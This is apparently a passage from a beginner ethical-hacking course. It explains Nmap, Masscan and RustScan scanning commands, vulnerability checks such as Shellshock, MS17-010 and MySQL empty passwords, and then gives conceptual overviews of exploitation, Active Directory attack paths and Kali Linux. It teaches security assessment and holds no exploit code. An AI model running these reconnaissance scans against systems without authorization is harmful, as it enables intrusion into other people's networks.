️6. Nmap MySQL Scan – Empty Password Check
nmap -p 3306 --script mysql-empty-password 192.168.11.130
This command scans the MySQL database service running on port 3306 and checks whether the database allows login without a password.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -p 3306 → Scan MySQL database port
- --script mysql-empty-password → Checks if MySQL allows empty or no password
- 192.168.11.130 → Target MySQL server IP
🎯 Why This Scan Is Important
- ✔ Detects weak MySQL authentication
- ✔ Prevents unauthorized database access
- ✔ Helps avoid data breaches
- ✔ Common issue in misconfigured servers
🚨 Security Risk Explained
If MySQL allows login with an empty password, attackers can:
- 🚨 Access sensitive data
- 🚨 Modify or delete databases
- 🚨 Create malicious users
📄 Example Output
PORT STATE SERVICE
3306/tcp open mysql
| mysql-empty-password:
| VULNERABLE:
| MySQL server allows login with empty password
Empty MySQL passwords must be fixed immediately.
Enforce strong passwords and restrict MySQL access using firewalls.
7. Nmap FTP Scan – Anonymous Login & System Info
nmap -p 21 --script ftp-anon,ftp-syst 192.168.11.130
This command scans the FTP service running on port 21 and checks whether anonymous login is allowed and collects FTP system information.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -p 21 → Scan FTP service port
- --script ftp-anon → Checks if anonymous FTP login is enabled
- --script ftp-syst → Retrieves FTP server system information
- 192.168.11.130 → Target FTP server IP
🎯 Why This Scan Is Important
- ✔ Detects anonymous FTP access
- ✔ Identifies FTP server OS & software
- ✔ Helps find misconfigured FTP servers
- ✔ Common issue in legacy systems
🚨 Security Risks Explained
- 🚨 Unauthorized file downloads
- 🚨 Information disclosure
- 🚨 Possible upload of malicious files
📄 Example Output
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon:
| Anonymous FTP login allowed
| Files available:
| pub/
|
| ftp-syst:
| STAT: UNIX Type: L8
Anonymous FTP access should be disabled unless absolutely required.
Test file permissions or move to secure protocols like SFTP.
8. Nmap HTTP Shellshock Vulnerability Check
nmap -p 80 --script http-shellshock 192.168.111.130
This command scans a web server running on port 80 to check for the Shellshock vulnerability in CGI-based applications.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- -p 80 → Scan HTTP web service port
- --script http-shellshock → Checks for Bash Shellshock vulnerability
- 192.168.111.130 → Target web server IP
🎯 What Is Shellshock?
- ✔ A critical vulnerability in GNU Bash
- ✔ Allows remote command execution
- ✔ Affects CGI scripts on web servers
- ✔ Common on old/unpatched Linux systems
🚨 Why This Is Dangerous
- 🚨 Attackers can run system commands
- 🚨 Full server compromise possible
- 🚨 Used in many real-world attacks
📄 Example Output
PORT STATE SERVICE
80/tcp open http
| http-shellshock:
| VULNERABLE:
| CGI script is vulnerable to Shellshock
Patch Bash immediately and disable vulnerable CGI scripts.
Apply system updates and restrict CGI execution.
9. Nmap SSL/TLS Cipher Enumeration
nmap --script ssl-enum-ciphers -p 443 192.168.111.130
This command analyzes the SSL/TLS configuration of a server running on HTTPS (port 443) and lists supported encryption ciphers and protocols.
🧩 Command Explanation (Very Easy)
- nmap → Network scanning tool
- --script ssl-enum-ciphers → Enumerates SSL/TLS ciphers
- -p 443 → HTTPS port
- 192.168.111.130 → Target server
🎯 Why This Scan Is Important
- ✔ Detects weak encryption (RC4, 3DES)
- ✔ Finds deprecated protocols (SSLv2, SSLv3, TLS 1.0)
- ✔ Helps assess compliance (PCI-DSS, ISO)
🚨 Common Risks Found
- 🚨 Weak ciphers enabled
- 🚨 Legacy SSL/TLS versions supported
10. Nmap ACK Scan – Firewall Rule Detection
nmap -sA 192.168.111.130
This command performs an ACK scan to determine whether a host is protected by a stateful firewall and which ports are filtered or unfiltered.
🧩 Command Explanation
- -sA → ACK scan (firewall analysis)
- 192.168.111.130 → Target IP
🎯 What This Scan Reveals
- ✔ Presence of firewall rules
- ✔ Which ports are filtered
- ✔ Network security posture
️11. Nmap Service Version & Banner Grabbing
nmap -sV --script banner 192.168.111.130
This command detects running services and attempts to grab service banners that may reveal software names and versions.
🧩 Command Explanation
- -sV → Service version detection
- --script banner → Banner grabbing
🎯 Why Banner Grabbing Matters
- ✔ Reveals exact software versions
- ✔ Helps match known vulnerabilities
- ✔ Saves time during exploitation
12. Nmap Full Port Scan (All 65,535 Ports)
nmap -p- -T5 --max-retries 10 192.168.111.130
This command scans all TCP ports on the target system using an aggressive timing template.
⚠️ High-Intensity Scan
- 🚨 Very noisy
- 🚨 Easily detected by IDS/IPS
🎯 When to Use
- ✔ Authorized internal assessments
- ✔ CTFs and labs
- ✔ When stealth is not required
13. Nmap Output to File (Normal Format)
nmap 192.168.111.130 -oN filename.txt
This command saves scan results to a text file for documentation and reporting.
🎯 Why This Is Important
- ✔ Required for reports
- ✔ Enables result comparison
- ✔ Supports evidence collection
14. Nmap Scan Using Target File
nmap -iL TargetIPfile.txt
This command scans multiple targets listed inside a file.
🧩 Why Use This
- ✔ Large-scale assessments
- ✔ Organized target management
- ✔ Automation-friendly
15. Nmap Packet Trace – Deep Network Visibility
nmap 192.168.111.130 --packet-trace
This command displays raw packets sent and received during the scan for deep analysis.
🎯 Why Packet Trace Is Useful
- ✔ Understand firewall behavior
- ✔ Debug scan issues
- ✔ Learn how Nmap works internally
Packet tracing reveals how networks respond — not just scan results.
| Step | Nmap Command | Purpose (Why This Step) | Key Options Meaning |
|---|---|---|---|
| 1 | nmap -sn 192.168.1.0/24 |
Identify live hosts (scope reduction) | -sn → Ping only, no ports |
| 2 | nmap -sS -Pn --top-ports 100 <IP> |
Fast stealth discovery of common services | -sS SYN scan, -Pn skip ping |
| 3 | nmap -sS --open -p 80,443,8080 <IP> |
Quick web service identification | --open show open ports only |
| 4 | nmap -sV --script banner <IP> |
Service version & banner enumeration | -sV version detection |
| 5 | nmap -p 80,443 --script http-* |
Web server misconfiguration discovery | http-* HTTP enum scripts |
| 6 | nmap -p 21 --script ftp-anon,ftp-syst |
Check anonymous FTP access | ftp-anon anonymous login |
| 7 | nmap -p 3306 --script mysql-empty-password |
Detect weak database authentication | 3306 MySQL port |
| 8 | nmap --script smb-os-discovery -p 445 |
Windows OS and SMB enumeration | 445 SMB service |
| 9 | nmap --script smb-vuln-ms17-010 -p 445 |
Check EternalBlue vulnerability | ms17-010 SMB RCE bug |
| 10 | nmap -p 80 --script http-shellshock |
Detect Shellshock vulnerability | http-shellshock CGI Bash flaw |
| 11 | nmap --script ssl-enum-ciphers -p 443 |
Identify weak SSL/TLS encryption | ssl-enum-ciphers TLS analysis |
| 12 | nmap -sA <IP> |
Firewall rule & filtering analysis | -sA ACK scan |
| 13 | nmap -p- -T5 <IP> |
Full port discovery (last resort) | -p- all ports |
| 14 | nmap -iL targets.txt |
Large-scale scanning automation | -iL input target list |
| 15 | nmap <IP> --packet-trace |
Deep packet-level troubleshooting | --packet-trace raw packets |
| 16 | nmap <IP> -oN report.txt |
Save evidence for reporting | -oN normal output |
🔹 Masscan Commands
1. Masscan Basic Scan – HTTP Services (Port 80)
masscan 192.168.1.0/24 -p80
This command uses Masscan to scan the entire 192.168.1.0/24 network and check which systems have port 80 (HTTP) open.
🧩 Command Explanation (Very Easy)
- masscan → High-speed network scanning tool
- 192.168.1.0/24 → Network range (256 IP addresses)
- -p80 → Scan only port 80 (HTTP web service)
🎯 What This Scan Does
- ✔ Finds systems running web servers
- ✔ Identifies exposed HTTP services
- ✔ Very fast compared to traditional scanners
📌 When to Use This Command
- 🔸 Initial reconnaissance phase
- 🔸 Large internal networks
- 🔸 Quick discovery of web servers
📄 Example Output
Discovered open port 80/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.18
After finding open IPs, use
Nmap -sV or
http-* NSE scripts for detailed web analysis.
By default, Masscan is very fast. Use
--rate to control speed and avoid network issues.
2. Masscan Full Port Scan – Ports 1 to 65535
masscan 192.168.1.0/24 -p1-65535 --rate=1000
This command scans the entire 192.168.1.0/24 network and checks all possible TCP ports to find any open services.
🧩 Command Explanation (Very Easy)
- masscan → High-speed network scanning tool
- 192.168.1.0/24 → Target network (256 IP addresses)
- -p1-65535 → Scan all valid TCP ports
- --rate=1000 → Limits speed to avoid network overload
🎯 Why Use a Full Port Scan?
- ✔ Finds services running on non-standard ports
- ✔ Discovers hidden or custom applications
- ✔ Useful in deep internal assessments
⚠️ Important Notes
- 🚨 Very noisy scan if rate is high
- 🚨 Can trigger IDS / firewall alerts
- 🚨 Use only with written authorization
📄 Example Output
Discovered open port 22/tcp on 192.168.1.10
Discovered open port 80/tcp on 192.168.1.12
Discovered open port 3306/tcp on 192.168.1.20
After Masscan finds open ports, use
Nmap -sV or Nmap -A
for detailed service analysis.
3. Masscan Fast Scan – HTTP Services (Port 80)
masscan 192.168.1.0/24 -p80 --rate=1000
This command uses Masscan to perform an ultra-fast scan for HTTP services (port 80) across the entire 192.168.1.0/24 network.
🧩 Command Explanation (Very Easy)
- masscan → High-speed network scanning tool
- 192.168.1.0/24 → Target network (256 IP addresses)
- -p80 → Scan only port 80 (HTTP)
- --rate=1000 → Send 1000 packets per second (safe speed)
🎯 Why Use Masscan?
- ✔ Much faster than Nmap
- ✔ Ideal for large networks
- ✔ Quickly finds exposed web servers
- ✔ Useful in early reconnaissance
📌 When to Use This Command
- 🔸 Large internal networks
- 🔸 Time-limited assessments
- 🔸 First phase of penetration testing
📄 Example Output
Discovered open port 80/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.20
Use
Nmap -sV or http-* scripts on discovered IPs
for detailed analysis.
High scan rates can trigger firewalls or IDS/IPS systems. Always scan with permission.
4. Masscan Banner Grabbing – HTTP Services
masscan 192.168.1.0/24 -p80 --banners --rate=1000
This command scans the 192.168.1.0/24 network for HTTP services (port 80) and attempts to grab service banners such as server type and headers.
🧩 Command Breakdown (Very Easy)
- masscan → High-speed network scanner
- 192.168.1.0/24 → Target subnet (256 IPs)
- -p80 → Scan HTTP port only
- --banners → Collect service banners (headers/info)
- --rate=1000 → Safe scan speed (packets/sec)
🎯 What is Banner Grabbing?
Banner grabbing collects information a service sends when it responds, such as:
- ✔ Web server type (Apache, Nginx, IIS)
- ✔ Software versions
- ✔ HTTP headers
⚠️ Security Risks Identified
- 🚨 Server version disclosure
- 🚨 Technology fingerprinting
- 🚨 Missing security headers
📄 Example Output
Discovered open port 80/tcp on 192.168.1.12
Banner on port 80:
HTTP/1.1 200 OK
Server: Apache/2.4.49
X-Powered-By: PHP/7.4
Use
Nmap -sV or http-* NSE scripts
on identified hosts for deeper web analysis.
Banner grabbing may trigger IDS/IPS alerts. Always scan with written permission.
5. Masscan Resume – Continue Paused Scan
masscan --resume paused.conf
This command allows Masscan to resume a previously paused or interrupted scan
using the saved configuration file (paused.conf).
🧩 Command Explanation (Very Easy)
- masscan → High-speed network scanning tool
- --resume → Continue a stopped scan
- paused.conf → Scan state file saved by Masscan
🎯 When Is This Useful?
- ✔ Scan stopped due to power failure
- ✔ System reboot or network interruption
- ✔ Very large network scans
- ✔ Long-running assessments
📌 How the Resume Feature Works
- Masscan automatically saves scan progress
- Progress is stored in
paused.conf - Resume command continues from the same point
- No need to restart the entire scan
⚠️ Important Notes
- 🔸 Do not delete
paused.conf - 🔸 Resume works only with the same Masscan version
- 🔸 Network changes may affect results
Always use
--rate with Masscan so scans can pause safely without overwhelming the network.
| Step | Masscan Command | Purpose (Why This Step) | Key Options Meaning |
|---|---|---|---|
| 1 | masscan 192.168.1.0/24 -p80 |
Initial discovery of HTTP services | -p80 → Scan HTTP port only |
| 2 | masscan 192.168.1.0/24 -p80 --rate=1000 |
Controlled fast scan (safe speed) | --rate → Packets per second |
| 3 | masscan 192.168.1.0/24 -p1-65535 --rate=1000 |
Full port discovery (deep recon) | -p1-65535 → All TCP ports |
| 4 | masscan 192.168.1.0/24 -p80 --banners --rate=1000 |
Banner grabbing & service hints | --banners → Grab service info |
| 5 | masscan --resume paused.conf |
Resume interrupted large scans | --resume → Continue scan |
| 6 | Nmap -sV / http-* scripts |
Detailed enumeration (handoff) | Masscan → Discovery only |
🔹 RustScan Commands
1. RustScan Basic Scan – Fast Port Discovery
rustscan -a 192.168.1.10
This command uses RustScan to quickly discover open ports on the target system. RustScan is designed to be much faster than traditional scanners.
🧩 Command Explanation (Very Easy)
- rustscan → High-speed port scanner written in Rust
- -a → Target address
- 192.168.1.10 → Target IP address
🎯 What This Scan Does
- ✔ Quickly finds open TCP ports
- ✔ Uses multithreading for speed
- ✔ Minimal network noise
- ✔ Ideal for initial reconnaissance
📌 When to Use RustScan
- 🔸 First scan of a new target
- 🔸 Time-limited assessments
- 🔸 Before deep Nmap scanning
📄 Example Output
Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:443
Use RustScan with Nmap for detailed analysis:
rustscan -a 192.168.1.10 -- -sV -A
RustScan discovers ports only. It does not identify services by default.
2. RustScan + Nmap Aggressive Scan (-A)
rustscan -a 192.168.1.10 -- -A
This command uses RustScan for fast port discovery and then automatically hands the open ports to Nmap for a deep aggressive scan.
🧩 Command Explanation (Very Easy)
- rustscan → High-speed port scanner
- -a 192.168.1.10 → Target IP address
- -- → Pass the next options to Nmap
- -A → Nmap aggressive scan (OS detection, version detection, scripts, traceroute)
🎯 What This Scan Does
- ✔ Finds open ports extremely fast
- ✔ Identifies services and versions
- ✔ Detects operating system
- ✔ Runs safe default NSE scripts
📌 When to Use This Command
- 🔸 After quick port discovery
- 🔸 Medium-size internal networks
- 🔸 Authorized penetration testing labs
📄 Example Output
Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:445
Nmap scan report for 192.168.1.10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6
80/tcp open http Apache 2.4.49
445/tcp open smb Windows SMB
OS details: Windows 10
The
-A option is loud and noisy.
Use only during approved testing windows.
Use RustScan first, then Nmap. This approach saves time and reduces unnecessary scanning.
3. RustScan Full Port Scan – Ports 1 to 65535
rustscan -a 192.168.1.10 -r 1-65535
This command uses RustScan to scan all TCP ports (1–65535) on the target system and quickly identify every open port.
🧩 Command Explanation (Very Easy)
- rustscan → High-speed port scanner written in Rust
- -a → Target address
- 192.168.1.10 → Target IP address
- -r 1-65535 → Scan the complete valid TCP port range
🎯 Why Use a Full Port Scan?
- ✔ Finds services running on non-standard ports
- ✔ Discovers hidden or custom applications
- ✔ Useful for deep internal penetration tests
- ✔ Faster than full Nmap port scans
📌 When to Use This Command
- 🔸 After basic scans miss services
- 🔸 Internal network assessments
- 🔸 Authorized lab or test environments
📄 Example Output
Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:8080
Open 192.168.1.10:3306
After finding open ports, run a detailed scan:
rustscan -a 192.168.1.10 -r 1-65535 -- -sV
Full port scans are louder than top-port scans. Always ensure you have permission.
4. RustScan Subnet Scan – High Speed with ulimit
rustscan -a 192.168.1.0/24 --ulimit 5000
This command uses RustScan to scan the entire 192.168.1.0/24 network while increasing the system file-descriptor limit for faster scanning.
🧩 Command Explanation (Very Easy)
- rustscan → High-speed port scanning tool
- -a → Target address or network range
- 192.168.1.0/24 → Network range (256 IP addresses)
- --ulimit 5000 → Allows RustScan to open more files/connections at once
🎯 Why Use --ulimit?
- ✔ Prevents “too many open files” errors
- ✔ Improves scan speed on large networks
- ✔ Required for aggressive or wide scans
📌 When to Use This Command
- 🔸 Scanning full subnets
- 🔸 Internal network assessments
- 🔸 High-speed discovery phase
📄 Example Output
Open 192.168.1.5:22
Open 192.168.1.12:80
Open 192.168.1.20:445
After discovering open ports, run a deeper scan using:
rustscan -a 192.168.1.20 -- -sV
High
ulimit values increase system load.
Use carefully and only with permission.
️5. RustScan + Nmap Vulnerability Scan
rustscan -a 192.168.1.10 -- --script vuln
This command uses RustScan to quickly find open ports and then passes those ports to Nmap, which runs vulnerability detection scripts safely.
🧩 Command Explanation (Very Easy)
- rustscan → High-speed port discovery tool
- -a → Target IP address
- 192.168.1.10 → Target system
- -- → Pass the next options to Nmap
- --script vuln → Runs safe NSE scripts to detect known vulnerabilities
🎯 What This Scan Does
- ✔ Detects known vulnerabilities (CVE-based)
- ✔ Does NOT exploit the system
- ✔ Safe for authorized assessments
- ✔ Saves time by scanning only open ports
📌 When to Use This Command
- 🔸 After port discovery
- 🔸 Vulnerability assessment phase
- 🔸 Security audits & lab environments
📄 Example Output
PORT STATE SERVICE
445/tcp open microsoft-ds
| smb-vuln-ms17-010:
| VULNERABLE
| State: VULNERABLE
|
80/tcp open http
| http-vuln-cve2021-41773:
| State: NOT VULNERABLE
Detection is not exploitation. Never exploit vulnerabilities without explicit written permission.
Combine vulnerability results with patch management and reporting.
| Step | RustScan Command | Purpose (Why This Step) | Key Options Meaning |
|---|---|---|---|
| 1 | rustscan -a 192.168.1.10 |
Fast initial port discovery | -a → Target address |
| 2 | rustscan -a 192.168.1.10 -- -sV |
Identify services on open ports | -- pass options to Nmap |
| 3 | rustscan -a 192.168.1.10 -- -A |
Deep aggressive enumeration | -A OS, version, scripts |
| 4 | rustscan -a 192.168.1.10 -r 1-65535 |
Full port discovery (fallback) | -r → Port range |
| 5 | rustscan -a 192.168.1.0/24 --ulimit 5000 |
High-speed subnet scanning | --ulimit increase FD limit |
| 6 | rustscan -a 192.168.1.10 -- --script vuln |
Safe vulnerability detection | --script vuln NSE checks |
| 7 | Nmap exploitation / manual testing |
Manual validation & reporting | RustScan → discovery only |
Scanning without written permission is illegal and punishable.
Module 03 – Exploitation (Ethical & Safe Learning)
Exploitation is the process of safely and ethically demonstrating how a vulnerability can be used to gain access or control of a system — within authorized environments. This module explains exploitation concepts in a simple, structured, and legal way.
3.1 What is Exploitation?
Exploitation is the phase in penetration testing where a tester attempts to validate a vulnerability by demonstrating controlled access, using safe, authorized techniques.
Think of exploitation as proving that a weakness discovered earlier (in scanning or vulnerability assessment) is actually real and can be abused — but doing it safely and without harming systems.
🎯 Goals of Ethical Exploitation
- ✔ Validate vulnerabilities
- ✔ Understand real-world risk
- ✔ Demonstrate impact to stakeholders
- ✔ Test defense mechanisms
- ✔ Assess how far an attacker could go
🔍 Two Types of Exploitation
| Type | Description | Goal |
|---|---|---|
| Manual Exploitation | Performed by testers using logic and analysis. | Understand the vulnerability deeply. |
| Automated Exploitation | Uses authorized tools & frameworks. | Faster validation of known issues. |
3.2 Vulnerability Validation
Before performing exploitation, ethical testers must confirm that the discovered weakness is real, reproducible, and safe to test.
🧪 Steps in Vulnerability Validation
-
Verify the Finding
Ensure the vulnerability exists and is not a false positive.
-
Check Applicable Systems
Does this vulnerability affect the target OS, version, or application?
-
Analyze Exploitability
Check if exploitation is possible without damaging the system.
-
Review Impact
Determine what an attacker could achieve if exploited.
-
Document Validation Steps
Record all observations for clear reporting.
📌 Validation Helps Avoid:
- ❌ False alarms
- ❌ Wasted time
- ❌ Risky testing
- ❌ Unnecessary exploitation
3.3 Categories of Exploits (Safe & Conceptual Overview)
Exploits come in various forms depending on how a vulnerability is abused. Below are safe conceptual explanations — no harmful details or code.
🔐 Common Exploit Categories
| Exploit Type | What It Means | Example Scenario |
|---|---|---|
| Web Exploits | Target vulnerabilities in websites or web apps. | Logic flaws, weak authentication, misconfigurations. |
| Network Exploits | Abuse network protocols or weak configurations. | Open ports, weak services. |
| System Exploits | Target OS-level weaknesses. | Privilege misconfigurations. |
| Application Exploits | Abuse insecure application behavior. | Unsafe file uploads. |
| Human-Based Exploits | Manipulate users through social engineering. | Phishing awareness tests. |
🧠 What a Tester Looks For
- 🔸 Incorrect access controls
- 🔸 Outdated versions
- 🔸 Weak authentication
- 🔸 Logic errors
- 🔸 Misconfigured services
3.4 Safe Demonstration Techniques
When demonstrating an exploit, testers must ensure they do not harm the system. This section covers safe and ethical demonstration methods.
🟢 Safe Demonstration Principles
- ✔ Only access data you are authorized to view
- ✔ Avoid actions that modify or delete data
- ✔ Use proof-of-concept that shows impact without damage
- ✔ Stop immediately if the system becomes unstable
🔐 Types of Safe Demonstrations
- 🧩 Screenshot of unauthorized access attempt (without storing data)
- 🧩 Minimal proof to validate the vulnerability
- 🧩 Controlled environment replication
🚫 What NOT To Do
- ❌ No deleting files
- ❌ No system crashes
- ❌ No privilege escalation without permission
- ❌ No data extraction
3.5 Post-Exploitation Awareness
Post-exploitation refers to what an attacker might do after exploiting a system. Ethical testers use this phase only to understand risk, not to perform harmful actions.
🎯 Goals of Post-Exploitation (Ethical)
- ✔ Determine the impact of compromise
- ✔ Identify sensitive data exposure
- ✔ Understand lateral movement paths
- ✔ Assess risk to business-critical assets
📌 What Ethical Testers Examine
- 🔸 Level of access gained
- 🔸 Internal network visibility
- 🔸 Sensitive file access (conceptually)
- 🔸 System configuration weaknesses
🚫 What Ethical Testers Do NOT Do
- ❌ No data extraction
- ❌ No backdoors
- ❌ No system tampering
- ❌ No privilege abuse
Module 04 – Domain Domination (Ethical & Safe Active Directory Mastery)
Domain Domination refers to understanding how attackers move, escalate, and maintain persistence
inside a Windows Active Directory environment after an initial foothold.
Ethical testers analyze these risks to help organizations strengthen their internal security.
This module covers AD structure, privilege weaknesses, trust attacks, misconfigurations,
lateral movement concepts, and domain takeover risks — explained in an EASY & SAFE way.
4.1 What is Domain Domination?
Domain Domination is the phase where an attacker attempts to gain full control over an organization's Active Directory (AD). Ethical testers identify how far an attacker could move internally, but do NOT perform real attacks.
🎯 Why Domain Domination Happens
- ✔ Weak internal security controls
- ✔ Over-permissioned accounts
- ✔ Lack of network segmentation
- ✔ Misconfigured Group Policy
- ✔ Unsecured service accounts
- ✔ Old Windows versions still running
🔍 Example Scenario (Simple Explanation)
Imagine you walk into a large office building (the network) after someone leaves a door open (initial access). If security inside is weak, you might:
- ➡ Move from room to room (lateral movement)
- ➡ Discover employee badges left around (credential exposure)
- ➡ Find an unlocked server room (misconfigured privileges)
- ➡ Reach the control room that manages everything (Domain Controller)
4.2 Deep Dive into Active Directory (AD) Architecture
Active Directory is a structured directory service that organizes users, computers, and resources. Understanding its internal structure is crucial for identifying privilege weaknesses.
🏛️ Core Components of Active Directory
| Component | Description | Why Testers Care |
|---|---|---|
| Domain Controller (DC) | Central server responsible for authentication. | Compromise of DC = full domain access (theoretical explanation). |
| Users | Employees with accounts in domain. | Weak users often serve as entry points. |
| Groups | Collections of users, computers, or roles. | Misconfigured groups lead to privilege leaks. |
| Service Accounts | Accounts used by applications/services. | Often have high privileges + weak passwords. |
| OUs (Containers) | Organize users/computers for easier management. | GPO inheritance issues can create gaps. |
| GPOs | System and user configuration policies. | Weak GPOs allow harmful configuration paths. |
📌 Simple Visual Structure (HTML Diagram)
Company.local (Domain)
│
├── Users
│ ├── AdminUser
│ ├── HRUser
│ └── ITUser
│
├── Groups
│ ├── Domain Admins
│ ├── Backup Operators
│ └── HelpDesk
│
└── OUs
├── Servers
├── Workstations
└── Finance
4.3 Privilege Escalation in AD (Deep Explanation)
Privilege escalation happens when a lower-privileged user obtains additional access unintentionally. Ethical testers evaluate where escalation is possible without performing it.
🔼 Common Escalation Pathways
- 🔸 Misconfigured services
- 🔸 Weak local admin passwords
- 🔸 Reused passwords across servers
- 🔸 Insecure Group Policy configurations
- 🔸 Writable scripts executed by privileged accounts
- 🔸 Excessive privileges assigned accidentally
📋 Common Privileged Groups to Watch
| Group | Power Level | Description |
|---|---|---|
| Domain Admins | ⭐⭐⭐⭐⭐ | Full control of entire AD domain. |
| Enterprise Admins | ⭐⭐⭐⭐⭐ | Control across multiple domains in forest. |
| Schema Admins | ⭐⭐⭐⭐⭐ | Modify AD structure itself. |
| Backup Operators | ⭐⭐⭐ | Can access files for backup purposes. |
| Account Operators | ⭐⭐⭐ | Manage user accounts. |
4.4 Trust Relationships (Deep Overview)
A trust relationship allows authentication requests between domains. Misconfigured trusts can widen an attacker’s movement.
🌐 Types of Trust Relationships
- 📌 Parent–Child
- 📌 Two-way Forest Trust
- 📌 External Trust
- 📌 Shortcut Trust
- 📌 Realm Trust (Kerberos)
⚠️ Risks of Weak Trusts
- ❌ Authentication loopholes
- ❌ Ability to pivot across domains
- ❌ Exposing sensitive inter-domain data
4.5 Identifying Weak Domain Policies (Deep Version)
Weak policies are one of the biggest reasons internal networks are compromised. Ethical testers locate these misconfigurations and recommend fixes.
📋 Common Weak Policies
- Weak Password Policy – Short, simple passwords
- No Account Lockout – Allows continuous guessing
- Disabled Auditing – No logs = no detection
- Unsigned Logon Scripts
- Legacy SMB & NTLM enabled
- Privileged users without MFA
🔍 Example of a Weak Policy (Beginner-Friendly)
MinimumPasswordLength = 6
PasswordHistory = 0
MaxPasswordAge = 180 days
AccountLockoutThreshold = Disabled
✔ Good Policies (Example)
MinimumPasswordLength = 12+
PasswordHistory = 24
MaxPasswordAge = 60 days
AccountLockoutThreshold = 5 attempts
Module 05 – Getting Comfortable with Kali Linux
Kali Linux is a specialized Linux distribution designed for security testing, digital forensics,
and cybersecurity research.
This module helps beginners understand how Kali works, what tools it offers, how its file system is structured,
and how ethical testers navigate it safely.
This is a complete, simplified, and deeply detailed guide.
5.1 What is Kali Linux?
Kali Linux is a Debian-based Linux operating system created for cybersecurity professionals. Developed by Offensive Security, it includes hundreds of tools for:
- 🔍 Penetration Testing
- 🔒 Digital Forensics
- 🌐 Network Security Analysis
- 👣 Malware Analysis
- 📡 Wireless Assessment
✨ Why Kali is Popular
- ✔ Preloaded with security tools
- ✔ Community-supported and free
- ✔ Lightweight and customizable
- ✔ Ideal for learning cybersecurity
- ✔ Supports Live Boot (no installation)
🖥️ Where Kali is Used?
- ✨ Cybersecurity training labs
- ✨ Ethical hacking certifications
- ✨ Corporate security audits
- ✨ Research on network vulnerabilities
5.2 Understanding the Linux File System
Kali uses the standard Linux file system hierarchy. Learning the directory structure is essential for navigating tools, logs, and configurations.
📁 Linux Directory Structure (Simple View)
/
├── bin → Basic user commands
├── boot → Bootloader files
├── etc → Configuration files
├── home → User directories
├── opt → Optional software
├── root → Root user home directory
├── usr → Installed apps & tools
├── var → Logs & cache
└── tmp → Temporary files
📦 What Matters Most in Kali?
| Directory | Purpose | Why It's Important |
|---|---|---|
| /usr/share | Stores Kali tools, exploits, wordlists | Where most cybersecurity tools live |
| /etc | Configuration files | For editing tool or system settings |
| /var/log | System + security logs | Critical for monitoring activity |
| /home | User workspace | Safe place for projects and notes |
| /root | Root user's home folder | Admin-level work and tool configs |
5.3 Essential Navigation in Kali Linux
File system navigation is the first practical skill in Kali. Here we explain everything in simple terms WITHOUT using harmful commands.
🧭 Key Navigation Concepts
- Home Directory → Your workspace
- Root Access → Admin permissions (use responsibly)
- Current Directory → Where you are now
- Relative Paths → Short paths from current folder
- Absolute Paths → Full path starting with /
📌 Simple Analogy
📍 File Types You Will See
| File Type | Meaning |
|---|---|
| .conf | Configuration file |
| .log | Log or record file |
| .sh | Shell script |
| .py | Python script |
| No extension | Binary or system file |
5.4 Package Management & Updates
Kali uses the APT package management system. Learning how tools are installed, updated, and removed helps maintain a smooth workflow.
📦 Key Concepts (Explained Simply)
- Repository → Online storehouse of tools
- Package → An application or tool
- Update → Fetches new versions
- Upgrade → Installs updated components
🧩 Why Updating is Important
- ✔ Fixes tool errors
- ✔ Adds new security features
- ✔ Ensures compatibility
- ✔ Keeps wordlists & scripts current
5.5 Important Pre-Installed Tools
Kali provides hundreds of tools categorized by purpose. Below is a safe, high-level introduction to categories WITHOUT showing usage that could be harmful.
🧰 Tool Categories
| Category | Description | Example Tools (Safe Mention) |
|---|---|---|
| Information Gathering | Collects basic info about networks | Whois, dnsenum |
| Vulnerability Analysis | Identifies possible weaknesses | OpenVAS |
| Web Assessment | Finds misconfigurations in web apps | Burp Suite (community) |
| Database Tools | Helps review DB security | sqlmap (safe mention only) |
| Wireless Tools | Assessment of wireless environments | Aircrack-ng |
| Forensics | Recovers & analyzes digital evidence | Autopsy |
Module 06 – Command Line Fun (Master the Terminal)
The command line is the heart of Kali Linux and nearly every Linux distribution.
In cybersecurity, knowing how to navigate, manage files, search logs, and handle permissions
through the terminal makes you faster, more efficient, and more powerful as an ethical tester.
This module covers EVERYTHING a beginner must know — explained in a simple, intuitive way
with real-world analogies and zero risky content.
6.1 What is a Shell?
A shell is a program that acts as an interface between the user and the operating system kernel. Every command you type is first processed by the shell, not directly by the kernel.
User command → Shell → Kernel → Hardware → Output
🧠 Why the Shell Exists
- ✔ Users cannot safely interact with the kernel directly
- ✔ Shell enforces syntax, permissions, and control
- ✔ Allows multitasking, scripting, and automation
- ✔ Provides a controlled execution environment
📘 Shell vs Kernel vs Terminal
| Component | Role |
|---|---|
| Kernel | Core of OS, manages CPU, memory, hardware |
| Shell | Interprets commands and communicates with kernel |
| Terminal | Program that displays the shell interface |
6.2 Types of Shells (CLI vs GUI)
Shells can be broadly categorized based on how users interact with them. Both types ultimately perform the same function: execute user instructions.
⌨️ Command Line Shell (CLI)
A CLI shell accepts text-based commands and is preferred in servers, cybersecurity, DevOps, and automation.
- ⚡ Fast and lightweight
- 📜 Supports scripting and automation
- 🔐 Precise control over permissions
- 🛠️ Required for most security tools
🖥️ Graphical Shell (GUI)
A GUI shell allows interaction using windows, icons, and menus. It is beginner-friendly but less flexible for advanced tasks.
- 🖱️ Mouse-driven interaction
- 🎨 Visually intuitive
- 📉 Limited automation capabilities
- 💻 Higher resource usage
📊 CLI vs GUI Comparison
| Aspect | CLI Shell | GUI Shell |
|---|---|---|
| Speed | Very Fast | Moderate |
| Automation | Excellent | Limited |
| Learning Curve | Steep | Easy |
| Cybersecurity Usage | Essential | Minimal |
6.3 Popular Linux Shells
Linux supports multiple shells. Each shell has its own syntax, features, and strengths.
🐚 Common Linux Shells
| Shell | Description | Common Use |
|---|---|---|
| Bash | Default Linux shell, scripting friendly | Servers, pentesting |
| Sh | Original UNIX shell | Legacy systems |
| Zsh | Enhanced bash with plugins | Power users |
| Fish | User-friendly, syntax highlighting | Beginners |
📌 Default Shell Location
/bin/bash
/bin/sh
/usr/bin/zsh
